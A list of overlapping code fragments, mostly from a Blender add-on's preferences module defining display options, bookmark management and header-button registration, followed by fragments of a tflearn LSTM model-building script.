"description=\"Show string properties\", default=True, update=update_lists) show_enum_props = bpy.props.BoolProperty( name=\"Show Enum Properties\", description=\"Show enum",
"tp.prepend(self.header_menu) else: tp.remove(self.header_menu) @staticmethod def context_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", icon=ic('BLENDER')) @staticmethod",
"item.name) def remove_bookmark(self, bookmark): for i, b in enumerate(self.bookmarks): if b.path == bookmark:",
"properties\", default=True, update=update_lists) group_none = bpy.props.BoolProperty( name=\"Group None Objects\", description=\"Group None objects\", default=False,",
"= name or bookmark item.path = bookmark sort_collection(self.bookmarks, key=lambda item: item.name) def remove_bookmark(self,",
"max=3000) def draw(self, context): layout = self.layout row = layout.row() row.scale_y = 1.5",
"name=\"Width\", description=\"Width of the list\", subtype='PERCENTAGE', default=40, min=20, max=80) list_height = bpy.props.IntProperty( name=\"Number",
"'TEXT_HT_header', 'TIME_HT_header', 'USERPREF_HT_header', 'VIEW3D_HT_header'): tp = getattr(bpy.types, tp_name, None) if not tp: continue",
"rename_bookmark(self, bookmark, name): for b in self.bookmarks: if b.path == bookmark: b.name =",
"1.5 row.operator(CB_OT_browser.bl_idname) row = layout.split() col = row.column(align=True) col.label(text=\"Popup:\") col.prop(self, \"popup_width\") col.prop(self, \"list_height\")",
"for i, b in enumerate(self.bookmarks): if b.path == bookmark: self.bookmarks.remove(i) break def rename_bookmark(self,",
"description=\"Show int properties\", default=True, update=update_lists) show_float_props = bpy.props.BoolProperty( name=\"Show Float Properties\", description=\"Show float",
"bookmark item.path = bookmark sort_collection(self.bookmarks, key=lambda item: item.name) def remove_bookmark(self, bookmark): for i,",
"if b.path == bookmark: b.name = name break sort_collection(self.bookmarks, key=lambda item: item.name) def",
"= prefs() if pr.show_header_btn: pr.register_header_btn(True) def unregister(): pr = prefs() if pr.show_header_btn: pr.register_header_btn(False)",
"bookmark, name): for b in self.bookmarks: if b.path == bookmark: b.name = name",
"Properties\", description=\"Show float properties\", default=True, update=update_lists) show_str_props = bpy.props.BoolProperty( name=\"Show String Properties\", description=\"Show",
"int properties\", default=True, update=update_lists) show_float_props = bpy.props.BoolProperty( name=\"Show Float Properties\", description=\"Show float properties\",",
"list_height = bpy.props.IntProperty( name=\"Number of Rows\", description=\"Number of rows in lists\", default=10, min=5,",
"list\", subtype='PERCENTAGE', default=40, min=20, max=80) list_height = bpy.props.IntProperty( name=\"Number of Rows\", description=\"Number of",
"def context_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", icon=ic('BLENDER')) @staticmethod def header_menu(menu, context): layout",
"= layout.split() col = row.column(align=True) col.label(text=\"Popup:\") col.prop(self, \"popup_width\") col.prop(self, \"list_height\") col = row.column(align=True)",
"of Rows\", description=\"Number of rows in lists\", default=10, min=5, max=100) popup_width = bpy.props.IntProperty(",
"item.name = name or bookmark item.path = bookmark sort_collection(self.bookmarks, key=lambda item: item.name) def",
"row.scale_y = 1.5 row.operator(CB_OT_browser.bl_idname) row = layout.split() col = row.column(align=True) col.label(text=\"Popup:\") col.prop(self, \"popup_width\")",
"key=lambda item: item.name) def remove_bookmark(self, bookmark): for i, b in enumerate(self.bookmarks): if b.path",
"Float Properties\", description=\"Show float properties\", default=True, update=update_lists) show_str_props = bpy.props.BoolProperty( name=\"Show String Properties\",",
"Header Button\", description=\"Show header button\", update=show_header_btn_update, default=True) obj_list_width = bpy.props.IntProperty( name=\"Width\", description=\"Width of",
"the list\", subtype='PERCENTAGE', default=40, min=20, max=80) list_height = bpy.props.IntProperty( name=\"Number of Rows\", description=\"Number",
"bpy.props.IntProperty( name=\"Width\", description=\"Popup width\", subtype='PIXEL', default=640, min=300, max=3000) def draw(self, context): layout =",
"icon=ic('BLENDER')) @staticmethod def header_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", text=\"\", icon=ic('BLENDER'), emboss=False) def",
"or bookmark item.path = bookmark sort_collection(self.bookmarks, key=lambda item: item.name) def remove_bookmark(self, bookmark): for",
"self.bookmarks.remove(i) break def rename_bookmark(self, bookmark, name): for b in self.bookmarks: if b.path ==",
"def add_bookmark(self, bookmark, name=None): if bookmark in self.bookmarks: return item = self.bookmarks.add() item.name",
"default=True, update=update_lists) show_enum_props = bpy.props.BoolProperty( name=\"Show Enum Properties\", description=\"Show enum properties\", default=True, update=update_lists)",
"Identifiers\", description=\"Show property identifiers\", default=True) def show_header_btn_update(self, context): prefs().register_header_btn(self.show_header_btn) show_header_btn = bpy.props.BoolProperty( name=\"Show",
"show_vector_props = bpy.props.BoolProperty( name=\"Show Vector Properties\", description=\"Show vector properties\", default=True, update=update_lists) group_none =",
"'CLIP_HT_header', 'CONSOLE_HT_header', 'DOPESHEET_HT_header', 'FILEBROWSER_HT_header', 'GRAPH_HT_header', 'IMAGE_HT_header', 'INFO_HT_header', 'LOGIC_HT_header', 'NLA_HT_header', 'NODE_HT_header', 'OUTLINER_HT_header', 'PROPERTIES_HT_header', 'SEQUENCER_HT_header',",
"show_prop_ids = bpy.props.BoolProperty( name=\"Show Property Identifiers\", description=\"Show property identifiers\", default=True) def show_header_btn_update(self, context):",
"= ADDON_ID bookmarks = bpy.props.CollectionProperty(type=BookmarkItem) def update_lists(self, context): tpr = temp_prefs() tpr.cd.update_lists(tpr.path, False)",
"tp: continue if value: tp.prepend(self.header_menu) else: tp.remove(self.header_menu) @staticmethod def context_menu(menu, context): layout =",
"def update_lists(self, context): tpr = temp_prefs() tpr.cd.update_lists(tpr.path, False) show_bool_props = bpy.props.BoolProperty( name=\"Show Bool",
"layout = menu.layout layout.operator(\"cb.browser\", text=\"\", icon=ic('BLENDER'), emboss=False) def register(): pr = prefs() if",
"Vector Properties\", description=\"Show vector properties\", default=True, update=update_lists) group_none = bpy.props.BoolProperty( name=\"Group None Objects\",",
"bookmark: b.name = name break sort_collection(self.bookmarks, key=lambda item: item.name) def register_header_btn(self, value): for",
"CB_Preferences(bpy.types.AddonPreferences): bl_idname = ADDON_ID bookmarks = bpy.props.CollectionProperty(type=BookmarkItem) def update_lists(self, context): tpr = temp_prefs()",
"== bookmark: b.name = name break sort_collection(self.bookmarks, key=lambda item: item.name) def register_header_btn(self, value):",
"= menu.layout layout.operator(\"cb.browser\", text=\"\", icon=ic('BLENDER'), emboss=False) def register(): pr = prefs() if pr.show_header_btn:",
"\"show_header_btn\") def add_bookmark(self, bookmark, name=None): if bookmark in self.bookmarks: return item = self.bookmarks.add()",
"bookmark in self.bookmarks: return item = self.bookmarks.add() item.name = name or bookmark item.path",
"properties\", default=True, update=update_lists) show_int_props = bpy.props.BoolProperty( name=\"Show Int Properties\", description=\"Show int properties\", default=True,",
"@staticmethod def header_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", text=\"\", icon=ic('BLENDER'), emboss=False) def register():",
"= name break sort_collection(self.bookmarks, key=lambda item: item.name) def register_header_btn(self, value): for tp_name in",
"tp_name in ( 'CLIP_HT_header', 'CONSOLE_HT_header', 'DOPESHEET_HT_header', 'FILEBROWSER_HT_header', 'GRAPH_HT_header', 'IMAGE_HT_header', 'INFO_HT_header', 'LOGIC_HT_header', 'NLA_HT_header', 'NODE_HT_header',",
"None Objects\", description=\"Group None objects\", default=False, update=update_lists) show_prop_ids = bpy.props.BoolProperty( name=\"Show Property Identifiers\",",
"default=40, min=20, max=80) list_height = bpy.props.IntProperty( name=\"Number of Rows\", description=\"Number of rows in",
"layout = self.layout row = layout.row() row.scale_y = 1.5 row.operator(CB_OT_browser.bl_idname) row = layout.split()",
"bpy.props.BoolProperty( name=\"Show Bool Properties\", description=\"Show bool properties\", default=True, update=update_lists) show_int_props = bpy.props.BoolProperty( name=\"Show",
"Property Identifiers\", description=\"Show property identifiers\", default=True) def show_header_btn_update(self, context): prefs().register_header_btn(self.show_header_btn) show_header_btn = bpy.props.BoolProperty(",
"min=20, max=80) list_height = bpy.props.IntProperty( name=\"Number of Rows\", description=\"Number of rows in lists\",",
"layout.split() col = row.column(align=True) col.label(text=\"Popup:\") col.prop(self, \"popup_width\") col.prop(self, \"list_height\") col = row.column(align=True) col.label(text=\"Header:\")",
"item: item.name) def register_header_btn(self, value): for tp_name in ( 'CLIP_HT_header', 'CONSOLE_HT_header', 'DOPESHEET_HT_header', 'FILEBROWSER_HT_header',",
"not tp: continue if value: tp.prepend(self.header_menu) else: tp.remove(self.header_menu) @staticmethod def context_menu(menu, context): layout",
"property identifiers\", default=True) def show_header_btn_update(self, context): prefs().register_header_btn(self.show_header_btn) show_header_btn = bpy.props.BoolProperty( name=\"Show Header Button\",",
"= bpy.props.IntProperty( name=\"Width\", description=\"Popup width\", subtype='PIXEL', default=640, min=300, max=3000) def draw(self, context): layout",
"description=\"Show vector properties\", default=True, update=update_lists) group_none = bpy.props.BoolProperty( name=\"Group None Objects\", description=\"Group None",
"break def rename_bookmark(self, bookmark, name): for b in self.bookmarks: if b.path == bookmark:",
"class CB_Preferences(bpy.types.AddonPreferences): bl_idname = ADDON_ID bookmarks = bpy.props.CollectionProperty(type=BookmarkItem) def update_lists(self, context): tpr =",
"item: item.name) def remove_bookmark(self, bookmark): for i, b in enumerate(self.bookmarks): if b.path ==",
"bl_idname = ADDON_ID bookmarks = bpy.props.CollectionProperty(type=BookmarkItem) def update_lists(self, context): tpr = temp_prefs() tpr.cd.update_lists(tpr.path,",
"menu.layout layout.operator(\"cb.browser\", icon=ic('BLENDER')) @staticmethod def header_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", text=\"\", icon=ic('BLENDER'),",
"min=5, max=100) popup_width = bpy.props.IntProperty( name=\"Width\", description=\"Popup width\", subtype='PIXEL', default=640, min=300, max=3000) def",
"default=True) obj_list_width = bpy.props.IntProperty( name=\"Width\", description=\"Width of the list\", subtype='PERCENTAGE', default=40, min=20, max=80)",
"subtype='PIXEL', default=640, min=300, max=3000) def draw(self, context): layout = self.layout row = layout.row()",
"enumerate(self.bookmarks): if b.path == bookmark: self.bookmarks.remove(i) break def rename_bookmark(self, bookmark, name): for b",
"update_lists(self, context): tpr = temp_prefs() tpr.cd.update_lists(tpr.path, False) show_bool_props = bpy.props.BoolProperty( name=\"Show Bool Properties\",",
"min=300, max=3000) def draw(self, context): layout = self.layout row = layout.row() row.scale_y =",
"context): layout = menu.layout layout.operator(\"cb.browser\", icon=ic('BLENDER')) @staticmethod def header_menu(menu, context): layout = menu.layout",
"b in self.bookmarks: if b.path == bookmark: b.name = name break sort_collection(self.bookmarks, key=lambda",
"default=640, min=300, max=3000) def draw(self, context): layout = self.layout row = layout.row() row.scale_y",
"bookmark): for i, b in enumerate(self.bookmarks): if b.path == bookmark: self.bookmarks.remove(i) break def",
"layout.row() row.scale_y = 1.5 row.operator(CB_OT_browser.bl_idname) row = layout.split() col = row.column(align=True) col.label(text=\"Popup:\") col.prop(self,",
"of the list\", subtype='PERCENTAGE', default=40, min=20, max=80) list_height = bpy.props.IntProperty( name=\"Number of Rows\",",
"col.label(text=\"Popup:\") col.prop(self, \"popup_width\") col.prop(self, \"list_height\") col = row.column(align=True) col.label(text=\"Header:\") col.prop(self, \"show_header_btn\") def add_bookmark(self,",
"show_float_props = bpy.props.BoolProperty( name=\"Show Float Properties\", description=\"Show float properties\", default=True, update=update_lists) show_str_props =",
"'NLA_HT_header', 'NODE_HT_header', 'OUTLINER_HT_header', 'PROPERTIES_HT_header', 'SEQUENCER_HT_header', 'TEXT_HT_header', 'TIME_HT_header', 'USERPREF_HT_header', 'VIEW3D_HT_header'): tp = getattr(bpy.types, tp_name,",
"enum properties\", default=True, update=update_lists) show_vector_props = bpy.props.BoolProperty( name=\"Show Vector Properties\", description=\"Show vector properties\",",
"col.label(text=\"Header:\") col.prop(self, \"show_header_btn\") def add_bookmark(self, bookmark, name=None): if bookmark in self.bookmarks: return item",
"name=\"Show Header Button\", description=\"Show header button\", update=show_header_btn_update, default=True) obj_list_width = bpy.props.IntProperty( name=\"Width\", description=\"Width",
"bookmarks = bpy.props.CollectionProperty(type=BookmarkItem) def update_lists(self, context): tpr = temp_prefs() tpr.cd.update_lists(tpr.path, False) show_bool_props =",
"header button\", update=show_header_btn_update, default=True) obj_list_width = bpy.props.IntProperty( name=\"Width\", description=\"Width of the list\", subtype='PERCENTAGE',",
"Properties\", description=\"Show vector properties\", default=True, update=update_lists) group_none = bpy.props.BoolProperty( name=\"Group None Objects\", description=\"Group",
"show_bool_props = bpy.props.BoolProperty( name=\"Show Bool Properties\", description=\"Show bool properties\", default=True, update=update_lists) show_int_props =",
"popup_width = bpy.props.IntProperty( name=\"Width\", description=\"Popup width\", subtype='PIXEL', default=640, min=300, max=3000) def draw(self, context):",
"self.bookmarks.add() item.name = name or bookmark item.path = bookmark sort_collection(self.bookmarks, key=lambda item: item.name)",
"context): layout = self.layout row = layout.row() row.scale_y = 1.5 row.operator(CB_OT_browser.bl_idname) row =",
"= layout.row() row.scale_y = 1.5 row.operator(CB_OT_browser.bl_idname) row = layout.split() col = row.column(align=True) col.label(text=\"Popup:\")",
"layout.operator(\"cb.browser\", text=\"\", icon=ic('BLENDER'), emboss=False) def register(): pr = prefs() if pr.show_header_btn: pr.register_header_btn(True) def",
"continue if value: tp.prepend(self.header_menu) else: tp.remove(self.header_menu) @staticmethod def context_menu(menu, context): layout = menu.layout",
"show_str_props = bpy.props.BoolProperty( name=\"Show String Properties\", description=\"Show string properties\", default=True, update=update_lists) show_enum_props =",
"= bpy.props.BoolProperty( name=\"Show Bool Properties\", description=\"Show bool properties\", default=True, update=update_lists) show_int_props = bpy.props.BoolProperty(",
"default=False, update=update_lists) show_prop_ids = bpy.props.BoolProperty( name=\"Show Property Identifiers\", description=\"Show property identifiers\", default=True) def",
"add_bookmark(self, bookmark, name=None): if bookmark in self.bookmarks: return item = self.bookmarks.add() item.name =",
"for tp_name in ( 'CLIP_HT_header', 'CONSOLE_HT_header', 'DOPESHEET_HT_header', 'FILEBROWSER_HT_header', 'GRAPH_HT_header', 'IMAGE_HT_header', 'INFO_HT_header', 'LOGIC_HT_header', 'NLA_HT_header',",
"= bpy.props.IntProperty( name=\"Number of Rows\", description=\"Number of rows in lists\", default=10, min=5, max=100)",
"import ADDON_ID, temp_prefs, prefs, ic from .utils.collection_utils import sort_collection from .ops.context_browser import CB_OT_browser",
"remove_bookmark(self, bookmark): for i, b in enumerate(self.bookmarks): if b.path == bookmark: self.bookmarks.remove(i) break",
"context): layout = menu.layout layout.operator(\"cb.browser\", text=\"\", icon=ic('BLENDER'), emboss=False) def register(): pr = prefs()",
"= bpy.props.CollectionProperty(type=BookmarkItem) def update_lists(self, context): tpr = temp_prefs() tpr.cd.update_lists(tpr.path, False) show_bool_props = bpy.props.BoolProperty(",
"update=update_lists) show_vector_props = bpy.props.BoolProperty( name=\"Show Vector Properties\", description=\"Show vector properties\", default=True, update=update_lists) group_none",
"Rows\", description=\"Number of rows in lists\", default=10, min=5, max=100) popup_width = bpy.props.IntProperty( name=\"Width\",",
"name=\"Show Enum Properties\", description=\"Show enum properties\", default=True, update=update_lists) show_vector_props = bpy.props.BoolProperty( name=\"Show Vector",
"bpy.props.BoolProperty( name=\"Show Property Identifiers\", description=\"Show property identifiers\", default=True) def show_header_btn_update(self, context): prefs().register_header_btn(self.show_header_btn) show_header_btn",
"in lists\", default=10, min=5, max=100) popup_width = bpy.props.IntProperty( name=\"Width\", description=\"Popup width\", subtype='PIXEL', default=640,",
"name=None): if bookmark in self.bookmarks: return item = self.bookmarks.add() item.name = name or",
"name=\"Number of Rows\", description=\"Number of rows in lists\", default=10, min=5, max=100) popup_width =",
"\"list_height\") col = row.column(align=True) col.label(text=\"Header:\") col.prop(self, \"show_header_btn\") def add_bookmark(self, bookmark, name=None): if bookmark",
"in self.bookmarks: if b.path == bookmark: b.name = name break sort_collection(self.bookmarks, key=lambda item:",
"show_enum_props = bpy.props.BoolProperty( name=\"Show Enum Properties\", description=\"Show enum properties\", default=True, update=update_lists) show_vector_props =",
"'USERPREF_HT_header', 'VIEW3D_HT_header'): tp = getattr(bpy.types, tp_name, None) if not tp: continue if value:",
"bpy.props.BoolProperty( name=\"Show Int Properties\", description=\"Show int properties\", default=True, update=update_lists) show_float_props = bpy.props.BoolProperty( name=\"Show",
"False) show_bool_props = bpy.props.BoolProperty( name=\"Show Bool Properties\", description=\"Show bool properties\", default=True, update=update_lists) show_int_props",
"= row.column(align=True) col.label(text=\"Popup:\") col.prop(self, \"popup_width\") col.prop(self, \"list_height\") col = row.column(align=True) col.label(text=\"Header:\") col.prop(self, \"show_header_btn\")",
"name=\"Show Int Properties\", description=\"Show int properties\", default=True, update=update_lists) show_float_props = bpy.props.BoolProperty( name=\"Show Float",
"if b.path == bookmark: self.bookmarks.remove(i) break def rename_bookmark(self, bookmark, name): for b in",
"Bool Properties\", description=\"Show bool properties\", default=True, update=update_lists) show_int_props = bpy.props.BoolProperty( name=\"Show Int Properties\",",
"text=\"\", icon=ic('BLENDER'), emboss=False) def register(): pr = prefs() if pr.show_header_btn: pr.register_header_btn(True) def unregister():",
"name or bookmark item.path = bookmark sort_collection(self.bookmarks, key=lambda item: item.name) def remove_bookmark(self, bookmark):",
"default=True, update=update_lists) group_none = bpy.props.BoolProperty( name=\"Group None Objects\", description=\"Group None objects\", default=False, update=update_lists)",
"key=lambda item: item.name) def register_header_btn(self, value): for tp_name in ( 'CLIP_HT_header', 'CONSOLE_HT_header', 'DOPESHEET_HT_header',",
"show_header_btn = bpy.props.BoolProperty( name=\"Show Header Button\", description=\"Show header button\", update=show_header_btn_update, default=True) obj_list_width =",
"\"popup_width\") col.prop(self, \"list_height\") col = row.column(align=True) col.label(text=\"Header:\") col.prop(self, \"show_header_btn\") def add_bookmark(self, bookmark, name=None):",
"in ( 'CLIP_HT_header', 'CONSOLE_HT_header', 'DOPESHEET_HT_header', 'FILEBROWSER_HT_header', 'GRAPH_HT_header', 'IMAGE_HT_header', 'INFO_HT_header', 'LOGIC_HT_header', 'NLA_HT_header', 'NODE_HT_header', 'OUTLINER_HT_header',",
"if not tp: continue if value: tp.prepend(self.header_menu) else: tp.remove(self.header_menu) @staticmethod def context_menu(menu, context):",
"from .ops.context_browser import CB_OT_browser class BookmarkItem(bpy.types.PropertyGroup): path = bpy.props.StringProperty() class CB_Preferences(bpy.types.AddonPreferences): bl_idname =",
"item = self.bookmarks.add() item.name = name or bookmark item.path = bookmark sort_collection(self.bookmarks, key=lambda",
"bpy.props.BoolProperty( name=\"Show String Properties\", description=\"Show string properties\", default=True, update=update_lists) show_enum_props = bpy.props.BoolProperty( name=\"Show",
"default=10, min=5, max=100) popup_width = bpy.props.IntProperty( name=\"Width\", description=\"Popup width\", subtype='PIXEL', default=640, min=300, max=3000)",
"= bpy.props.BoolProperty( name=\"Show Int Properties\", description=\"Show int properties\", default=True, update=update_lists) show_float_props = bpy.props.BoolProperty(",
"b.path == bookmark: b.name = name break sort_collection(self.bookmarks, key=lambda item: item.name) def register_header_btn(self,",
"None) if not tp: continue if value: tp.prepend(self.header_menu) else: tp.remove(self.header_menu) @staticmethod def context_menu(menu,",
"b.name = name break sort_collection(self.bookmarks, key=lambda item: item.name) def register_header_btn(self, value): for tp_name",
"description=\"Show float properties\", default=True, update=update_lists) show_str_props = bpy.props.BoolProperty( name=\"Show String Properties\", description=\"Show string",
".addon import ADDON_ID, temp_prefs, prefs, ic from .utils.collection_utils import sort_collection from .ops.context_browser import",
"col = row.column(align=True) col.label(text=\"Popup:\") col.prop(self, \"popup_width\") col.prop(self, \"list_height\") col = row.column(align=True) col.label(text=\"Header:\") col.prop(self,",
"= bpy.props.BoolProperty( name=\"Show String Properties\", description=\"Show string properties\", default=True, update=update_lists) show_enum_props = bpy.props.BoolProperty(",
"tp = getattr(bpy.types, tp_name, None) if not tp: continue if value: tp.prepend(self.header_menu) else:",
"= bpy.props.BoolProperty( name=\"Show Float Properties\", description=\"Show float properties\", default=True, update=update_lists) show_str_props = bpy.props.BoolProperty(",
"description=\"Number of rows in lists\", default=10, min=5, max=100) popup_width = bpy.props.IntProperty( name=\"Width\", description=\"Popup",
"default=True, update=update_lists) show_int_props = bpy.props.BoolProperty( name=\"Show Int Properties\", description=\"Show int properties\", default=True, update=update_lists)",
"default=True, update=update_lists) show_vector_props = bpy.props.BoolProperty( name=\"Show Vector Properties\", description=\"Show vector properties\", default=True, update=update_lists)",
"sort_collection(self.bookmarks, key=lambda item: item.name) def remove_bookmark(self, bookmark): for i, b in enumerate(self.bookmarks): if",
"'SEQUENCER_HT_header', 'TEXT_HT_header', 'TIME_HT_header', 'USERPREF_HT_header', 'VIEW3D_HT_header'): tp = getattr(bpy.types, tp_name, None) if not tp:",
"Objects\", description=\"Group None objects\", default=False, update=update_lists) show_prop_ids = bpy.props.BoolProperty( name=\"Show Property Identifiers\", description=\"Show",
"'INFO_HT_header', 'LOGIC_HT_header', 'NLA_HT_header', 'NODE_HT_header', 'OUTLINER_HT_header', 'PROPERTIES_HT_header', 'SEQUENCER_HT_header', 'TEXT_HT_header', 'TIME_HT_header', 'USERPREF_HT_header', 'VIEW3D_HT_header'): tp =",
"import CB_OT_browser class BookmarkItem(bpy.types.PropertyGroup): path = bpy.props.StringProperty() class CB_Preferences(bpy.types.AddonPreferences): bl_idname = ADDON_ID bookmarks",
"item.name) def register_header_btn(self, value): for tp_name in ( 'CLIP_HT_header', 'CONSOLE_HT_header', 'DOPESHEET_HT_header', 'FILEBROWSER_HT_header', 'GRAPH_HT_header',",
"i, b in enumerate(self.bookmarks): if b.path == bookmark: self.bookmarks.remove(i) break def rename_bookmark(self, bookmark,",
"description=\"Width of the list\", subtype='PERCENTAGE', default=40, min=20, max=80) list_height = bpy.props.IntProperty( name=\"Number of",
"emboss=False) def register(): pr = prefs() if pr.show_header_btn: pr.register_header_btn(True) def unregister(): pr =",
"context_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", icon=ic('BLENDER')) @staticmethod def header_menu(menu, context): layout =",
"bpy.props.BoolProperty( name=\"Group None Objects\", description=\"Group None objects\", default=False, update=update_lists) show_prop_ids = bpy.props.BoolProperty( name=\"Show",
"'VIEW3D_HT_header'): tp = getattr(bpy.types, tp_name, None) if not tp: continue if value: tp.prepend(self.header_menu)",
"def show_header_btn_update(self, context): prefs().register_header_btn(self.show_header_btn) show_header_btn = bpy.props.BoolProperty( name=\"Show Header Button\", description=\"Show header button\",",
"@staticmethod def context_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", icon=ic('BLENDER')) @staticmethod def header_menu(menu, context):",
"def rename_bookmark(self, bookmark, name): for b in self.bookmarks: if b.path == bookmark: b.name",
"( 'CLIP_HT_header', 'CONSOLE_HT_header', 'DOPESHEET_HT_header', 'FILEBROWSER_HT_header', 'GRAPH_HT_header', 'IMAGE_HT_header', 'INFO_HT_header', 'LOGIC_HT_header', 'NLA_HT_header', 'NODE_HT_header', 'OUTLINER_HT_header', 'PROPERTIES_HT_header',",
"<reponame>Tilapiatsu/blender-custom_conf<filename>scripts/addons/context_browser/preferences.py import bpy from .addon import ADDON_ID, temp_prefs, prefs, ic from .utils.collection_utils import",
"description=\"Group None objects\", default=False, update=update_lists) show_prop_ids = bpy.props.BoolProperty( name=\"Show Property Identifiers\", description=\"Show property",
"= 1.5 row.operator(CB_OT_browser.bl_idname) row = layout.split() col = row.column(align=True) col.label(text=\"Popup:\") col.prop(self, \"popup_width\") col.prop(self,",
"= bpy.props.BoolProperty( name=\"Group None Objects\", description=\"Group None objects\", default=False, update=update_lists) show_prop_ids = bpy.props.BoolProperty(",
"'GRAPH_HT_header', 'IMAGE_HT_header', 'INFO_HT_header', 'LOGIC_HT_header', 'NLA_HT_header', 'NODE_HT_header', 'OUTLINER_HT_header', 'PROPERTIES_HT_header', 'SEQUENCER_HT_header', 'TEXT_HT_header', 'TIME_HT_header', 'USERPREF_HT_header', 'VIEW3D_HT_header'):",
"description=\"Show bool properties\", default=True, update=update_lists) show_int_props = bpy.props.BoolProperty( name=\"Show Int Properties\", description=\"Show int",
"col.prop(self, \"show_header_btn\") def add_bookmark(self, bookmark, name=None): if bookmark in self.bookmarks: return item =",
"description=\"Show enum properties\", default=True, update=update_lists) show_vector_props = bpy.props.BoolProperty( name=\"Show Vector Properties\", description=\"Show vector",
"tp.remove(self.header_menu) @staticmethod def context_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\", icon=ic('BLENDER')) @staticmethod def header_menu(menu,",
"prefs, ic from .utils.collection_utils import sort_collection from .ops.context_browser import CB_OT_browser class BookmarkItem(bpy.types.PropertyGroup): path",
"if value: tp.prepend(self.header_menu) else: tp.remove(self.header_menu) @staticmethod def context_menu(menu, context): layout = menu.layout layout.operator(\"cb.browser\",",
"name): for b in self.bookmarks: if b.path == bookmark: b.name = name break",
"objects\", default=False, update=update_lists) show_prop_ids = bpy.props.BoolProperty( name=\"Show Property Identifiers\", description=\"Show property identifiers\", default=True)",
"temp_prefs() tpr.cd.update_lists(tpr.path, False) show_bool_props = bpy.props.BoolProperty( name=\"Show Bool Properties\", description=\"Show bool properties\", default=True,",
"name=\"Show Float Properties\", description=\"Show float properties\", default=True, update=update_lists) show_str_props = bpy.props.BoolProperty( name=\"Show String",
"identifiers\", default=True) def show_header_btn_update(self, context): prefs().register_header_btn(self.show_header_btn) show_header_btn = bpy.props.BoolProperty( name=\"Show Header Button\", description=\"Show",
"def remove_bookmark(self, bookmark): for i, b in enumerate(self.bookmarks): if b.path == bookmark: self.bookmarks.remove(i)",
"b in enumerate(self.bookmarks): if b.path == bookmark: self.bookmarks.remove(i) break def rename_bookmark(self, bookmark, name):",
"Properties\", description=\"Show bool properties\", default=True, update=update_lists) show_int_props = bpy.props.BoolProperty( name=\"Show Int Properties\", description=\"Show",
"ic from .utils.collection_utils import sort_collection from .ops.context_browser import CB_OT_browser class BookmarkItem(bpy.types.PropertyGroup): path =",
"for b in self.bookmarks: if b.path == bookmark: b.name = name break sort_collection(self.bookmarks,",
"name=\"Show Property Identifiers\", description=\"Show property identifiers\", default=True) def show_header_btn_update(self, context): prefs().register_header_btn(self.show_header_btn) show_header_btn =",
".utils.collection_utils import sort_collection from .ops.context_browser import CB_OT_browser class BookmarkItem(bpy.types.PropertyGroup): path = bpy.props.StringProperty() class",
"prefs().register_header_btn(self.show_header_btn) show_header_btn = bpy.props.BoolProperty( name=\"Show Header Button\", description=\"Show header button\", update=show_header_btn_update, default=True) obj_list_width",
"= bookmark sort_collection(self.bookmarks, key=lambda item: item.name) def remove_bookmark(self, bookmark): for i, b in",
"update=update_lists) show_prop_ids = bpy.props.BoolProperty( name=\"Show Property Identifiers\", description=\"Show property identifiers\", default=True) def show_header_btn_update(self,",
"Properties\", description=\"Show enum properties\", default=True, update=update_lists) show_vector_props = bpy.props.BoolProperty( name=\"Show Vector Properties\", description=\"Show",
"'TIME_HT_header', 'USERPREF_HT_header', 'VIEW3D_HT_header'): tp = getattr(bpy.types, tp_name, None) if not tp: continue if",
"import bpy from .addon import ADDON_ID, temp_prefs, prefs, ic from .utils.collection_utils import sort_collection",
"bpy.props.CollectionProperty(type=BookmarkItem) def update_lists(self, context): tpr = temp_prefs() tpr.cd.update_lists(tpr.path, False) show_bool_props = bpy.props.BoolProperty( name=\"Show"
] |
[
"0.8, name='net1_layer5') net = tflearn.fully_connected(net, 5, activation='softmax', name='net1_layer6') net = tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy',",
"128], name='net1_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net1_layer2') net = tflearn.dropout(net, 0.8, name='net1_layer3')",
"building net = tflearn.input_data(shape=[None, steps, 128], name='net1_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net1_layer2')",
"tflearn.dropout(net, 0.8, name='net1_layer5') net = tflearn.fully_connected(net, 5, activation='softmax', name='net1_layer6') net = tflearn.regression(net, optimizer='rmsprop',",
"tf import tflearn import os def get_movement_model(steps): # Network building net = tflearn.input_data(shape=[None,",
"= tflearn.lstm(net, n_units=256, return_seq=True, name='net2_layer2') net = tflearn.dropout(net, 0.8, name='net2_layer3') net = tflearn.lstm(net,",
"= tflearn.dropout(net, 0.8, name='net1_layer3') net = tflearn.lstm(net, n_units=256, return_seq=False, name='net1_layer4') net = tflearn.dropout(net,",
"net = tflearn.lstm(net, n_units=256, return_seq=True, name='net1_layer2') net = tflearn.dropout(net, 0.8, name='net1_layer3') net =",
"loss='categorical_crossentropy', learning_rate=1e-5, name='net2_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def reshape_for_lstm(data, steps_of_history=10): trainX =",
"128], name='net2_layer1') net = tflearn.lstm(net, n_units=256, return_seq=True, name='net2_layer2') net = tflearn.dropout(net, 0.8, name='net2_layer3')",
"= tflearn.dropout(net, 0.8, name='net1_layer5') net = tflearn.fully_connected(net, 5, activation='softmax', name='net1_layer6') net = tflearn.regression(net,",
"tflearn.lstm(net, n_units=256, return_seq=True, name='net1_layer2') net = tflearn.dropout(net, 0.8, name='net1_layer3') net = tflearn.lstm(net, n_units=256,",
"net = tflearn.dropout(net, 0.8, name='net1_layer5') net = tflearn.fully_connected(net, 5, activation='softmax', name='net1_layer6') net =",
"= tflearn.dropout(net, 0.8, name='net2_layer5') net = tflearn.fully_connected(net, 3, activation='softmax', name='net2_layer6') net = tflearn.regression(net,",
"tflearn.regression(net, optimizer='rmsprop', loss='categorical_crossentropy', learning_rate=0.0001, name='net1_layer7') return tflearn.DNN(net, clip_gradients=5.0, tensorboard_dir='logs', tensorboard_verbose=0) def get_action_model(steps): #",
"reshape_for_lstm(data, steps_of_history=10): trainX = [] trainY_movement = [] trainY_action = [] for i",
"np import tensorflow as tf import tflearn import os def get_movement_model(steps): # Network",
